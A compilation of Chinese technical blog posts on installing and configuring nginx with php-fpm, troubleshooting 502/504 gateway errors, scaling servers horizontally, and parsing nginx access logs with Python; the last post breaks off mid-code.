就像上面的nginx一样，我们希望使用service php-fpm start|stop|restart这些操作来实现服务的重启，但没有像nginx那么复杂，php编译好之后，给我们提供了一个php-fpm的程序，不需要我再编写分享了。这个文件放在php编译源码目录中：

$ cd /usr/src/php-7.0.0/sapi/fpm
$ ls
$ cp init.d.php-fpm /etc/init.d/php-fpm
$ chmod +x /etc/init.d/php-fpm
$ chkconfig --add php-fpm
$ chkconfig php-fpm on


通过上面这个操作，我们就可以使用sevice php-fpm start来启用php-fpm了。用ps -ef | grep php-fpm看看进程吧。

nginx代理php实现访问

通过上面的操作，nginx和php-fpm服务都被我们跑起来了，但是php-fpm走的是127.0.0.1:9000，外网是无法访问的，而且我们也不可能直接通过php-fpm给外网提供服务，我们用nginx去代理9000端口执行php。

实际上这个过程只需要对nginx进行配置即可，fpm已经在后台运行了，我们需要在nginx的配置文件中增加代理的规则，即可让用户在访问80端口，请求php的时候，交由后端的fpm去执行，并返回结果。

$ vi /usr/local/nginx/conf/nginx.conf


如果你大致了解过nginx的配置，应该能够很快分辨出这个配置文件里面的结构，并且知道server代表一个虚拟主机，要增加虚拟主机就再增加一个server，而且这个conf文件中也给出了例子。那么怎么代理php-fpm呢？找到：

#location ~ \.php$ {
  #   root           html;
  #  fastcgi_pass   127.0.0.1:9000;
  #  fastcgi_index  index.php;
  #  fastcgi_param  SCRIPT_FILENAME  /script$fastcgi_script_name;
  #  include        fastcgi_params;
#}


把前面的#注释符号去掉，把script改为$document_root最终如下：

location ~ \.php$ {
    root           html;
    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /$document_root$fastcgi_script_name;
    include        fastcgi_params;
}


这样就OK了，重新载入nginx配置即可

$ service nginx reload


然后到/usr/local/nginx/html去写一个php文档，进行测试吧。

如果你的程序能够正常运行起来，用ip作为外网访问地址访问成功，那么恭喜你，本篇文章的目的就达到了。
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nginx在工作中已经有好几个环境在使用了，每次都是重新去网上扒博客，各种编译配置，今天自己也整理一份安装文档和nginx.conf配置选项的说明，留作以后参考。像负载均衡配置（包括健康检查）、缓存（包括清空缓存）配置实例，请参考 http://segmentfault.com/a/1190000002873747 ，ssl加密请参考 http://seanlook.com/2015/05/28/nginx-ssl/ 。


1. 安装nginx


1.1 选择稳定版本


我们编译安装nginx来定制自己的模块，机器CentOS 6.2 x86_64。首先安装缺少的依赖包：


# yum -y install gcc gcc-c++ make libtool zlib zlib-devel openssl openssl-devel pcre pcre-devel



这些软件包如果yum上没有的话可以下载源码来编译安装，只是要注意编译时默认安装的目录，确保下面在安装nginx时能够找到这些动态库文件（ldconfig）。


从 http://nginx.org/en/download.html 下载稳定版nginx-1.6.3.tar.gz到/usr/local/src下解压。


为了后续准备我们另外下载2个插件模块：nginx_upstream_check_module-0.3.0.tar.gz —— 检查后端服务器的状态，nginx-goodies-nginx-sticky-module-ng-bd312d586752.tar.gz（建议在/usr/local/src下解压后将目录重命名为nginx-sticky-module-ng-1.2.5） —— 后端做负载均衡解决session sticky问题。


请注意插件与nginx的版本兼容问题，一般插件越新越好，nginx不用追新，稳定第一。nginx-1.4.7，nginx-sticky-module-1.1，nginx_upstream_check_module-0.2.0，这个搭配也没问题。sticky-1.1与nginx-1.6版本由于更新没跟上编译出错。（可以直接使用Tengine，默认就包括了这些模块）


[root@cachets nginx-1.6.3]# pwd
/usr/local/src/nginx-1.6.3
[root@cachets nginx-1.6.3]# ./configure --prefix=/usr/local/nginx-1.6 --with-pcre \
> --with-http_stub_status_module --with-http_ssl_module \
> --with-http_gzip_static_module --with-http_realip_module \
> --add-module=../nginx-sticky-module-ng-1.2.5 --add-module=../nginx_upstream_check_module-0.3.0

[root@cachets nginx-1.6.3]# make && make install



1.2 常用编译选项说明


nginx大部分常用模块，编译时./configure --help以--without开头的都默认安装。



	
--prefix=PATH ： 指定nginx的安装目录。默认 /usr/local/nginx


	
--conf-path=PATH ： 设置nginx.conf配置文件的路径。nginx允许使用不同的配置文件启动，通过命令行中的-c选项。默认为prefix/conf/nginx.conf


	
--user=name： 设置nginx工作进程的用户。安装完成后，可以随时在nginx.conf配置文件更改user指令。默认的用户名是nobody。--group=name类似

	
--with-pcre ： 设置PCRE库的源码路径，如果已通过yum方式安装，使用--with-pcre自动找到库文件。使用--with-pcre=PATH时，需要从PCRE网站下载pcre库的源码（版本4.4 - 8.30）并解压，剩下的就交给Nginx的./configure和make来完成。perl正则表达式使用在location指令和 ngx_http_rewrite_module模块中。

	
--with-zlib=PATH ： 指定 zlib（版本1.1.3 - 1.2.5）的源码解压目录。在默认就启用的网络传输压缩模块ngx_http_gzip_module时需要使用zlib 。

	
--with-http_ssl_module ： 使用https协议模块。默认情况下，该模块没有被构建。前提是openssl与openssl-devel已安装

	
--with-http_stub_status_module ： 用来监控 Nginx 的当前状态

	
--with-http_realip_module ： 通过这个模块允许我们改变客户端请求头中客户端IP地址值(例如X-Real-IP 或 X-Forwarded-For)，意义在于能够使得后台服务器记录原始客户端的IP地址

	
--add-module=PATH ： 添加第三方外部模块，如nginx-sticky-module-ng或缓存模块。每次添加新的模块都要重新编译（Tengine可以在新加入module时无需重新编译）



再提供一种编译方案：


./configure \
> --prefix=/usr \
> --sbin-path=/usr/sbin/nginx \
> --conf-path=/etc/nginx/nginx.conf \
> --error-log-path=/var/log/nginx/error.log \
> --http-log-path=/var/log/nginx/access.log \
> --pid-path=/var/run/nginx/nginx.pid  \
> --lock-path=/var/lock/nginx.lock \   
> --user=nginx \
> --group=nginx \
> --with-http_ssl_module \
> --with-http_stub_status_module \
> --with-http_gzip_static_module \
> --http-client-body-temp-path=/var/tmp/nginx/client/ \
> --http-proxy-temp-path=/var/tmp/nginx/proxy/ \
> --http-fastcgi-temp-path=/var/tmp/nginx/fcgi/ \
> --http-uwsgi-temp-path=/var/tmp/nginx/uwsgi \
> --with-pcre=../pcre-7.8
> --with-zlib=../zlib-1.2.3



1.3 启动关闭nginx


## 检查配置文件是否正确
# /usr/local/nginx-1.6/sbin/nginx -t 
# ./sbin/nginx -V     # 可以看到编译选项

## 启动、关闭
# ./sbin/nginx        # 默认配置文件 conf/nginx.conf，-c 指定
# ./sbin/nginx -s stop
或 pkill nginx

## 重启，不会改变启动时指定的配置文件
# ./sbin/nginx -s reload
或 kill -HUP `cat /usr/local/nginx-1.6/logs/nginx.pid`



当然也可以将 nginx 作为系统服务管理，下载 nginx 到/etc/init.d/，修改里面的路径然后赋予可执行权限。


# service nginx {start|stop|status|restart|reload|configtest} 



1.4 yum安装


---- 2015-05-22更新

yum安装rpm包会比编译安装简单很多，默认会安装许多模块，但缺点是如果你想以后安装第三方模块那就没办法了。


# vi /etc/yum.repo.d/nginx.repo 
[nginx] 
name=nginx repo 
baseurl=http://nginx.org/packages/centos/$releasever/$basearch/ 
gpgcheck=0 
enabled=1



剩下的就yum install nginx搞定，也可以yum install nginx-1.6.3安装指定版本（前提是你去packages里看到有对应的版本，默认是最新版稳定版）。


2. nginx.conf配置文件


Nginx配置文件主要分成四部分：main（全局设置）、server（主机设置）、upstream（上游服务器设置，主要为反向代理、负载均衡相关配置）和 location（URL匹配特定位置后的设置），每部分包含若干个指令。main部分设置的指令将影响其它所有部分的设置；server部分的指令主要用于指定虚拟主机域名、IP和端口；upstream的指令用于设置一系列的后端服务器，设置反向代理及后端服务器的负载均衡；location部分用于匹配网页位置（比如，根目录“/”,“/images”,等等）。他们之间的关系式：server继承main，location继承server；upstream既不会继承指令也不会被继承。它有自己的特殊指令，不需要在其他地方的应用。


当前nginx支持的几个指令上下文：


2.1 通用


下面的nginx.conf简单的实现nginx在前端做反向代理服务器的例子，处理js、png等静态文件，jsp等动态请求转发到其它服务器tomcat：


user  www www;
worker_processes  2;

error_log  logs/error.log;
#error_log  logs/error.log  notice;
#error_log  logs/error.log  info;

pid        logs/nginx.pid;


events {
    use epoll;
    worker_connections  2048;
}


http {
    include       mime.types;
    default_type  application/octet-stream;

    #log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
    #                  '$status $body_bytes_sent "$http_referer" '
    #                  '"$http_user_agent" "$http_x_forwarded_for"';

    #access_log  logs/access.log  main;

    sendfile        on;
    # tcp_nopush     on;

    keepalive_timeout  65;

  # gzip压缩功能设置
    gzip on;
    gzip_min_length 1k;
    gzip_buffers    4 16k;
    gzip_http_version 1.0;
    gzip_comp_level 6;
    gzip_types text/html text/plain text/css text/javascript application/json application/javascript application/x-javascript application/xml;
    gzip_vary on;

  # http_proxy 设置
    client_max_body_size   10m;
    client_body_buffer_size   128k;
    proxy_connect_timeout   75;
    proxy_send_timeout   75;
    proxy_read_timeout   75;
    proxy_buffer_size   4k;
    proxy_buffers   4 32k;
    proxy_busy_buffers_size   64k;
    proxy_temp_file_write_size  64k;
    proxy_temp_path   /usr/local/nginx/proxy_temp 1 2;

  # 设定负载均衡后台服务器列表 
    upstream  backend  { 
              #ip_hash; 
              server   192.168.10.100:8080 max_fails=2 fail_timeout=30s ;  
              server   192.168.10.101:8080 max_fails=2 fail_timeout=30s ;  
    }

  # 很重要的虚拟主机配置
    server {
        listen       80;
        server_name  itoatest.example.com;
        root   /apps/oaapp;

        charset utf-8;
        access_log  logs/host.access.log  main;

        #对 / 所有做负载均衡+反向代理
        location / {
            root   /apps/oaapp;
            index  index.jsp index.html index.htm;

            proxy_pass        http://backend;  
            proxy_redirect off;
            # 后端的Web服务器可以通过X-Forwarded-For获取用户真实IP
            proxy_set_header  Host  $host;
            proxy_set_header  X-Real-IP  $remote_addr;  
            proxy_set_header  X-Forwarded-For  $proxy_add_x_forwarded_for;
            proxy_next_upstream error timeout invalid_header http_500 http_502 http_503 http_504;

        }

        #静态文件，nginx自己处理，不去backend请求tomcat
        location  ~* /download/ {  
            root /apps/oa/fs;  

        }
        location ~ .*\.(gif|jpg|jpeg|bmp|png|ico|txt|js|css)$   
        {   
            root /apps/oaapp;   
            expires      7d; 
        }
        location /nginx_status {
            stub_status on;
            access_log off;
            allow 192.168.10.0/24;
            deny all;
        }

        location ~ ^/(WEB-INF)/ {   
            deny all;   
        }
        #error_page  404              /404.html;

        # redirect server error pages to the static page /50x.html
        #
        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   html;
        }
    }

  ## 其它虚拟主机，server 指令开始
}




2.2 常用指令说明


2.2.1 main全局配置


nginx在运行时与具体业务功能（比如http服务或者email服务代理）无关的一些参数，比如工作进程数，运行的身份等。



	woker_processes 2

在配置文件的顶级main部分，worker角色的工作进程的个数，master进程是接收并分配请求给worker处理。这个数值简单一点可以设置为cpu的核数grep ^processor /proc/cpuinfo | wc -l，也是 auto 值，如果开启了ssl和gzip更应该设置成与逻辑CPU数量一样甚至为2倍，可以减少I/O操作。如果nginx服务器还有其它服务，可以考虑适当减少。


	worker_cpu_affinity

也是写在main部分。在高并发情况下，通过设置cpu粘性来降低由于多CPU核切换造成的寄存器等现场重建带来的性能损耗。如worker_cpu_affinity 0001 0010 0100 1000; （四核）。


	worker_connections 2048

写在events部分。每一个worker进程能并发处理（发起）的最大连接数（包含与客户端或后端被代理服务器间等所有连接数）。nginx作为反向代理服务器，计算公式 最大连接数 = worker_processes * worker_connections/4，所以这里客户端最大连接数是1024，这个可以增到到8192都没关系，看情况而定，但不能超过后面的worker_rlimit_nofile。当nginx作为http服务器时，计算公式里面是除以2。


	worker_rlimit_nofile 10240

写在main部分。默认是没有设置，可以限制为操作系统最大的限制65535。


	use epoll

写在events部分。在Linux操作系统下，nginx默认使用epoll事件模型，得益于此，nginx在Linux操作系统下效率相当高。同时Nginx在OpenBSD或FreeBSD操作系统上采用类似于epoll的高效事件模型kqueue。在操作系统不支持这些高效模型时才使用select。




2.2.2 http服务器


与提供http服务相关的一些配置参数。例如：是否使用keepalive啊，是否使用gzip进行压缩等。



	sendfile on

开启高效文件传输模式，sendfile指令指定nginx是否调用sendfile函数来输出文件，减少用户空间到内核空间的上下文切换。对于普通应用设为 on，如果用来进行下载等应用磁盘IO重负载应用，可设置为off，以平衡磁盘与网络I/O处理速度，降低系统的负载。


	keepalive_timeout 65 : 长连接超时时间，单位是秒，这个参数很敏感，涉及浏览器的种类、后端服务器的超时设置、操作系统的设置，可以另外起一片文章了。长连接请求大量小文件的时候，可以减少重建连接的开销，但假如有大文件上传，65s内没上传完成会导致失败。如果设置时间过长，用户又多，长时间保持连接会占用大量资源。


	send_timeout : 用于指定响应客户端的超时时间。这个超时仅限于两个连接活动之间的时间，如果超过这个时间，客户端没有任何活动，Nginx将会关闭连接。


	client_max_body_size 10m

允许客户端请求的最大单文件字节数。如果有上传较大文件，请设置它的限制值


	
client_body_buffer_size 128k

缓冲区代理缓冲用户端请求的最大字节数



模块http_proxy：

这个模块实现的是nginx作为反向代理服务器的功能，包括缓存功能（另见文章）



	
proxy_connect_timeout 60

nginx跟后端服务器连接超时时间(代理连接超时)

	proxy_read_timeout 60

连接成功后，与后端服务器两个成功的响应操作之间超时时间(代理接收超时)


	proxy_buffer_size 4k

设置代理服务器（nginx）从后端realserver读取并保存用户头信息的缓冲区大小，默认与proxy_buffers大小相同，其实可以将这个指令值设的小一点


	proxy_buffers 4 32k

proxy_buffers缓冲区，nginx针对单个连接缓存来自后端realserver的响应，网页平均在32k以下的话，这样设置


	proxy_busy_buffers_size 64k

高负荷下缓冲大小（proxy_buffers*2）


	proxy_max_temp_file_size

当proxy_buffers放不下后端服务器的响应内容时，会将一部分保存到硬盘的临时文件中，这个值用来设置最大临时文件大小，默认1024M，它与proxy_cache没有关系。大于这个值，将从upstream服务器传回。设置为0禁用。


	proxy_temp_file_write_size 64k

当缓存被代理的服务器响应到临时文件时，这个选项限制每次写临时文件的大小。proxy_temp_path（可以在编译的时候）指定写到哪那个目录。




proxy_pass，proxy_redirect见 location 部分。


模块http_gzip：



	
gzip on : 开启gzip压缩输出，减少网络传输。


	
gzip_min_length 1k ： 设置允许压缩的页面最小字节数，页面字节数从header头得content-length中进行获取。默认值是20。建议设置成大于1k的字节数，小于1k可能会越压越大。

	
gzip_buffers 4 16k ： 设置系统获取几个单位的缓存用于存储gzip的压缩结果数据流。4 16k代表以16k为单位，安装原始数据大小以16k为单位的4倍申请内存。

	
gzip_http_version 1.0 ： 用于识别 http 协议的版本，早期的浏览器不支持 Gzip 压缩，用户就会看到乱码，所以为了支持前期版本加上了这个选项，如果你用了 Nginx 的反向代理并期望也启用 Gzip 压缩的话，由于末端通信是 http/1.0，故请设置为 1.0。

	
gzip_comp_level 6 ： gzip压缩比，1压缩比最小处理速度最快，9压缩比最大但处理速度最慢(传输快但比较消耗cpu)

	
gzip_types ：匹配mime类型进行压缩，无论是否指定,”text/html”类型总是会被压缩的。

	
gzip_proxied any ： Nginx作为反向代理的时候启用，决定开启或者关闭后端服务器返回的结果是否压缩，匹配的前提是后端服务器必须要返回包含”Via”的 header头。

	
gzip_vary on ： 和http头有关系，会在响应头加个 Vary: Accept-Encoding ，可以让前端的缓存服务器缓存经过gzip压缩的页面，例如，用Squid缓存经过Nginx压缩的数据。。







2.2.3 server虚拟主机


http服务上支持若干虚拟主机。每个虚拟主机一个对应的server配置项，配置项里面包含该虚拟主机相关的配置。在提供mail服务的代理时，也可以建立若干server。每个server通过监听地址或端口来区分。



	listen

监听端口，默认80，小于1024的要以root启动。可以为listen *:80、listen 127.0.0.1:80等形式。


	server_name

服务器名，如localhost、www.example.com，可以通过正则匹配。




模块http_stream

这个模块通过一个简单的调度算法来实现客户端IP到后端服务器的负载均衡，upstream后接负载均衡器的名字，后端realserver以 host:port options; 方式组织在 {} 中。如果后端被代理的只有一台，也可以直接写在 proxy_pass 。


2.2.4 location


http服务中，某些特定的URL对应的一系列配置项。



	root /var/www/html

定义服务器的默认网站根目录位置。如果locationURL匹配的是子目录或文件，root没什么作用，一般放在server指令里面或/下。


	index index.jsp index.html index.htm

定义路径下默认访问的文件名，一般跟着root放


	proxy_pass http:/backend

请求转向backend定义的服务器列表，即反向代理，对应upstream负载均衡器。也可以proxy_pass http://ip:port。


	proxy_redirect off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

这四个暂且这样设，如果深究的话，每一个都涉及到很复杂的内容，也将通过另一篇文章来解读。




关于location匹配规则的写法，可以说尤为关键且基础的，参考文章 nginx配置location总结及rewrite规则写法;


2.3 其它


2.3.1 访问控制 allow/deny


Nginx 的访问控制模块默认就会安装，而且写法也非常简单，可以分别有多个allow,deny，允许或禁止某个ip或ip段访问，依次满足任何一个规则就停止往下匹配。如：


location /nginx-status {
  stub_status on;
  access_log off;
#  auth_basic   "NginxStatus";
#  auth_basic_user_file   /usr/local/nginx-1.6/htpasswd;

  allow 192.168.10.100;
  allow 172.29.73.0/24;
  deny all;
}



我们也常用 httpd-devel 工具的 htpasswd 来为访问的路径设置登录密码：


# htpasswd -c htpasswd admin
New passwd:
Re-type new password:
Adding password for user admin

# htpasswd htpasswd admin    //修改admin密码
# htpasswd htpasswd sean    //多添加一个认证用户



这样就生成了默认使用CRYPT加密的密码文件。打开上面nginx-status的两行注释，重启nginx生效。


2.3.2 列出目录 autoindex


Nginx默认是不允许列出整个目录的。如需此功能，打开nginx.conf文件，在location，server 或 http段中加入autoindex on;，另外两个参数最好也加上去:



	
autoindex_exact_size off; 默认为on，显示出文件的确切大小，单位是bytes。改为off后，显示出文件的大概大小，单位是kB或者MB或者GB

	
autoindex_localtime on;

默认为off，显示的文件时间为GMT时间。改为on后，显示的文件时间为文件的服务器时间



location /images {
  root   /var/www/nginx-default/images;
  autoindex on;
  autoindex_exact_size off;
  autoindex_localtime on;
  }



参考



	http://liuqunying.blog.51cto.com/3984207/1420556

	http://nginx.org/en/docs/ngx_core_module.html#worker_cpu_affinity

	http://wiki.nginx.org/HttpCoreModule#sendfile





原文链接地址：http://seanlook.com/2015/05/17/nginx-install-and-config/
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在使用Nginx时，经常会碰到 502 Bad Gateway 和 504 Gateway Time-out 错误，下面以 Nginx+PHP-FPM 来分析下这两种常见错误的原因和解决方案。


1. 502 Bad Gateway 错误


在 php.ini 和 php-fpm.conf 中分别有这样两个配置项：max_execution_time 和 request_terminate_timeout。


这两项都是用来配置一个 PHP 脚本的最大执行时间的。当超过这个时间时，PHP-FPM不只会终止脚本的执行，还会终止执行脚本的Worker进程。所以Nginx会发现与自己通信的连接断掉了，就会返回给客户端502错误。


以PHP-FPM的 request_terminate_timeout=30 秒时为例，报 502 Bad Gateway 错误的具体信息如下：


1）Nginx错误访问日志：


2013/09/19 01:09:00 [error] 27600#0: *78887 recv() failed (104: Connection reset by peer) while reading response header from upstream, 
client: 192.168.1.101, server: test.com, request: "POST /index.php HTTP/1.1", upstream: "fastcgi://unix:/dev/shm/php-fcgi.sock:", 
host: "test.com", referrer: "http://test.com/index.php"



2）PHP-FPM报错日志：


WARNING:  child 25708 exited on signal 15 (SIGTERM) after 21008.883410 seconds from start



所以只需将这两项的值调大一些就可以让PHP脚本不会因为执行时间长而被终止了。request_terminate_timeout 可以覆盖 max_execution_time，所以如果不想改全局的php.ini，那只改PHP-FPM的配置就可以了。


此外要注意的是Nginx的upstream模块中的 max_fail 和 fail_timeout 两项。有时Nginx与上游服务器（如Tomcat、FastCGI）的通信只是偶然断掉了，但 max_fail 如果设置的比较小的话，那么在接下来的 fail_timeout时间内，Nginx都会认为上游服务器挂掉了，都会返回502错误。

所以可以将 max_fail 调大一些，将 fail_timeout 调小一些。


2. 504 Gateway Time-out 错误


PHP-FPM设置的脚本最大执行时间已经够长了，但执行耗时PHP脚本时，发现Nginx报错从502变为504了。这是为什么呢？


因为我们修改的只是PHP的配置，Nginx中也有关于与上游服务器通信超时时间的配置factcgi_connect/read/send_timeout。


以Nginx超时时间为90秒，PHP-FPM超时时间为300秒为例，报504 Gateway Timeout错误时的Nginx错误访问日志如下：


 2013/09/19 00:55:51 [error] 27600#0: *78877 upstream timed out (110: Connection timed out) while reading response header from upstream, 
 client: 192.168.1.101, server: test.com, request: "POST /index.php HTTP/1.1", upstream: "fastcgi://unix:/dev/shm/php-fcgi.sock:", 
 host: "test.com", referrer: "http://test.com/index.php"



调高这三项的值（主要是read和send两项，默认不配置的话Nginx会将超时时间设为60秒）之后，504错误也解决了。


而且这三项配置可以配置在http、server级别，也可以配置在location级别。担心影响其他应用的话，就配置在自己应用的location中吧。


要注意的是 factcgi_connect/read/send_timeout 是对 FastCGI 生效的，而 proxy_connect/read/send_timeout 是对 proxy_pass 生效的。


配置举例：


location ~ \.php$ {
                root                    /home/cdai/test.com;
                include                 fastcgi_params;
                fastcgi_connect_timeout      180;
                fastcgi_read_timeout            600;
                fastcgi_send_timeout            600;
                fastcgi_pass            unix:/dev/shm/php-fcgi.sock;
                fastcgi_index           index.php;
                fastcgi_param          SCRIPT_FILENAME         /home/cdai/test.com$fastcgi_script_name;
     }



 如何应对服务器压力？服务器横向扩展（加机器）策略漫谈

作者：唐霜

来源： 如何应对服务器压力？服务器横向扩展（加机器）策略漫谈



                    
在生产环境中，一个网站或服务端应用出现响应迟缓的时候，就应该考虑是否由于用户量太多，导致服务器难以处理的情况，并应该考虑花钱来解决这个问题。当然，这里首先会想到廉价的解决方式，比如通过调整服务器配置，优化代码性能等，但这些方式技术成本和时间成本大，有的时候优化效果也并不理想。而最简单粗暴，也是最有效的方式，就是我们俗称的“加机器”。本文就来谈一谈服务器横向扩展。

1. 单台服务器的扩展

一般而言，一台服务器上面，最起码要运行三个环境：服务器环境、程序语言执行环境、数据库环境。对于我们用PHP进行开发的网站，一般会考虑Apache+NGINX+MySQL+Redis+PHP来跑整个系统，其中，nginx处理静态资源响应，apache处理php进程，mysql负责数据存储，redis负责经常需要进行调用的临时性数据。但是，在这个环境中，我们往往忽视一个非常重要的因素，那就是服务器本身的硬件配置。首先是CPU和内存，这是我们比较容易想到的，CPU决定了服务器的运算速率，内存决定了一个程序系统能够在一定时间内存放的变量和数据结构吞吐。程序对内存的操作，速度会比对硬盘的读写快很多，直到内存中的空间被释放回收。而如果内存不足，则会导致程序无法完成高效的内存数据读写，拖慢网站或应用速度。除了CPU和内存，另一个被忽视的因素就是硬盘。传统的机械硬盘在读写时，依赖硬盘的转速，而无论如何，只要硬盘要转，就会花费时间。

因此，单台服务器的扩展主要是增多、扩大CPU，增加内存，增加硬盘，或更换固态硬盘。于此同时，增加宽带来提高网络容量。这是横向扩展中最容易做到的，一般向服务商提供申请，或直接购买就可以完成。

2. 数据库和程序进程分离

PHP+MySQL的网站，其实比较大的局限在于MySQL的连接和执行效率。几乎所有的公司都要求PHP程序员掌握MySQL的优化方法，但是无论如何优化，始终会有一个瓶颈，这个瓶颈一方面是由服务器硬件IO带来的。因此，在很多访问量比较大，或数据处理压力比较大的项目中，都会采用数据库服务器和程序服务器分离的方法。

数据库服务器和程序执行服务器的性能配置根据实际情况而定，有的时候，数据库的压力更大，因此数据库服务器配置更加高。这种扩展方式实现起来也比较简单，例如在阿里云购买服务器，新增一台与原来服务器在同一个网段的服务器，新服务器不安装apache和nginx，只安装mysql，停用原来服务器中的mysql，迁移数据后，通过局域网IP，将程序的数据库连接到这台新的服务器上。



目前市面上有不同服务商的云数据库服务，但从价格而言，云数据库的价格经常高于一台普通云服务器的价格，对于中小型项目而言，采用两台服务器的成本低于购买云数据库服务来代替数据库服务器的费用。

3. 静态资源与程序脚本的分离

服务器的静态资源不仅占用服务器的存储空间，同时还占用服务器的IO，当同一个静态资源，例如图片、视频、css文件、js文件、其他格式的文件等等被反复请求时，服务器需要反复请求读文件。机械硬盘的转速最高有一个极限，当静态文件的请求将动态文件的请求挤出队列的时候，网站程序的反应会变得很慢。因此，当有必要的时候，将静态资源与程序脚本进行分离，并使用CDN来对静态资源进行节点缓存，不仅可以降低对服务器资源的消耗，也可以加快响应速度。



上图中出现了三台服务器，其中nginx服务器，不仅承担了静态资源服务器，而且还承担端口代理的角色。因为用户访问网站的入口只有一个，所以不可能同一次访问到达两台服务器；而且，也需要有一个程序来识别，用户的这个请求到底是要请求静态资源，还是请求程序。这种扩展方式被广泛用在中小型项目中，用以减轻服务器的巨大压力。

4. 均衡负载：多台服务器执行程序，将大量请求分摊给多台服务器

无论如何，一台服务器的进程是有限的，我们不可能无限制的把一台服务器的CUP加到64个，把内存加到1T，则是不可能的。因此，出现了均衡负载技术，通过将多台服务器组合成一组可以完成相同任务的服务器，当用户发出请求时，根据每台服务器的运行状态，让那些相对而言有富余的服务器来执行这个用户的请求。



上图中，出现了多台Apache服务器，这些服务器的配置不一定相同，但是他们的环境一定是一样，每一台上面都存放着相同的程序代码，能够保证同一个请求，无论到达哪一台服务器进行执行，都能得到相同的结果。而上图中多出了一个“控制器”，一般而言，有两种方式来进行控制，一种是DNS，也就是域名解析的时候，根据访问压力情况，解析到不同的服务器上面去；另一种则是域名统一解析到一台固定的服务器，由这台服务器来决定这个请求应该由哪一台服务器来进行处理。

虽然从上图中，我们能够简单的理解这种扩展模式，但是实际生产中，会遇到非常严重的问题。例如，session怎么来处理？服务器的读写怎么来解决同步性问题？数据库的写入和更新顺序怎么来解决等等。由于程序被不同的服务器执行，这就导致不同服务器之间执行附带行为结果产生不同，例如日志，同一个用户的日志可能散落在不同的服务器上，怎么样确保在进行日志调用的时候，能够将这些日志统一处理呢？这里面都还有很多问题去解决。

5. 主从数据库

从上面的图形进化来看，数据库服务器的均衡负载也是必要的。但是和程序执行服务器的均衡负载不同，不是在每台服务器上面丢相同的一套程序就可以满足数据库问题的。和程序的均衡负载有着极大的不同，由于数据库是随时随地都要用的，它的读写是即时的，不可能像程序一样，在每一台服务器上放上相同的代码就可以解决问题，如果处理不好，很有可能导致用户请求的时候，一会儿有数据，一会儿没数据。主从数据库的概念很早就有，简单的理解就是将数据库的读写操作分离，读操作由从数据库完成，写操作由主数据库完成，写完之后，立即将数据同步到从数据库。



为了解决数据库的均衡负载问题，主从数据库技术也进行了多次升级，但是就目前而言，仍然没有从理论上达到完美解决这种问题。由于查询动作没有造成文件的变化，因此实际上和程序代码的均衡负载一样，从数据库也可以由多个服务器来协同完成，只不过在执行写入更新操作之后，主数据库要同步到所有的从数据库。



因此，在这种情况下，采用云数据库，则是一种比较明智的选择。

为了解决这种复杂的服务器横向扩展问题，新浪云SAE、阿里云ACE、百度云BAE，以及未来腾讯云也要推出的云引擎，这些云计算服务以统一的策略，为我们提供了架构问题，也就是说，在这些云引擎中去运行我们的程序，就不用再过多的考虑均衡负载问题。云引擎的架构远不止这种均衡负载这么简单，如果你去深入研究新浪云的架构，就会为这种牛X的设计惊叹。云引擎+云数据库+CDN，就像一把利剑为我们的项目解决了服务器的基础问题，这也是这个时代云计算服务商的伟大之处。

我的个人博客 www.tangshuang.net 偶尔写一些学习中的感想和经验，希望有相同兴趣的朋友到博客来交流。


 使用Python解析nginx日志文件

作者：_Zhao

来源： 使用Python解析nginx日志文件



                    
项目的一个需求是解析nginx的日志文件。

简单的整理如下：




日志规则描述


首先要明确自己的Nginx的日志格式，这里采用默认Nginx日志格式：


 log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                   '$status $body_bytes_sent "$http_referer" '
                   '"$http_user_agent" "$http_x_forwarded_for"';



其中一条真实记录样例如下：


172.22.8.207 - - [16/Dec/2014:17:57:35 +0800] "GET /report?DOmjjuS6keWJp+WculSQAgdUkAIPODExMzAwMDJDN0FC HTTP/1.1" 200 0 "-" "XXXXXXX/1.0.16; iPhone/iOS 8.1.2; ; 8DA77E2F91D0"



其中，客户端型号信息用XXXXXXX代替。


项目中已经按照业务规则对Nginx日志文件进行了处理命名规则如下：


ID-ID-YYMMDD-hhmmss



并且所有的日志文件存放在统一路径下。


解决思路




获取所有日志文件path



这里使用Python的glob模块来获取日志文件path


import glob


def readfile(path):
    return glob.glob(path + '*-*-*-*')



获取日志文件中每一行的内容


使用Python的linecache模块来获取文件行的内容


import linecache


def readline(path):
    return linecache.getlines(path)



注意：linecache模块使用了缓存，所以存在以下问题：



	在使用linecache模块读取文件内容以后，如果文件发生了变化，那么需要使用linecache.updatecache(filename)来更新缓存，以获取最新变化。


	linecache模块使用缓存，所以会耗费内存，耗费量与要解析的文件相关。最好在使用完毕后执行linecache.clearcache()清空一下缓存。




当然，作为优化，这里可以利用生成器来进行优化。暂且按下不表。


处理日志条目


一条日志信息就是一个特定格式的字符串，因此使用正则表达式来解析，这里使用Python的re模块。

下面，一条一条建立规则：


规则


    ip = r"?P<ip>[\d.]*"
    date = r"?P<date>\d+"
    month = r"?P<month>\w+"
    year = r"?P<year>\d+"
    log_time = r"?P<time>\S+"
    method = r"?P<method>\S+"
    request = r"?P<request>\S+"
    status = r"?P<status>\d+"
    bodyBytesSent = r"?P<bodyBytesSent>\d+"
    refer = r"""?P<refer>
             [^\"]*
             """
    userAgent=r"""?P<userAgent>
                .*
               """



解析


p = re.compile(r"(%s)\ -\ -\ \[(%s)/(%s)/(%s)\:(%s)\ [\S]+\]\ \"(%s)?[\s]?(%s)?.*?\"\ (%s)\ (%s)\ \"(%s)\"\ \"(%s).*?\"" %( ip, date, month, year, log_time, method, request, status, bodyBytesSent, refer, userAgent ), re.VERBOSE)
m = re.findall(p, logline)



这样，就可以得到日志条目中各个要素的原始数据。




格式及内容转化


得到日志原始数据之后，需要根据业务要求，对原始数据进行格式及内容转化。

这里需要处理的内容包括：时间，request，userAgent


时间格式转化


在日志信息原始数据中存在Dec这样的信息，利用Python的time模块可以方便的进行解析


import time


def parsetime(date, month, year, log_time):
    time_str = '%s%s%s %s' %(year, month, date, log_time)
    return time.strptime(time_str, '%Y%b%d %H:%M:%S')



解析request


在日志信息原始数据中得到的request的内容格式为：


/report?XXXXXX



这里只需要根据协议取出XXXXXX即可。

这里仍然采用Python的re模块


import re


def parserequest(rqst):
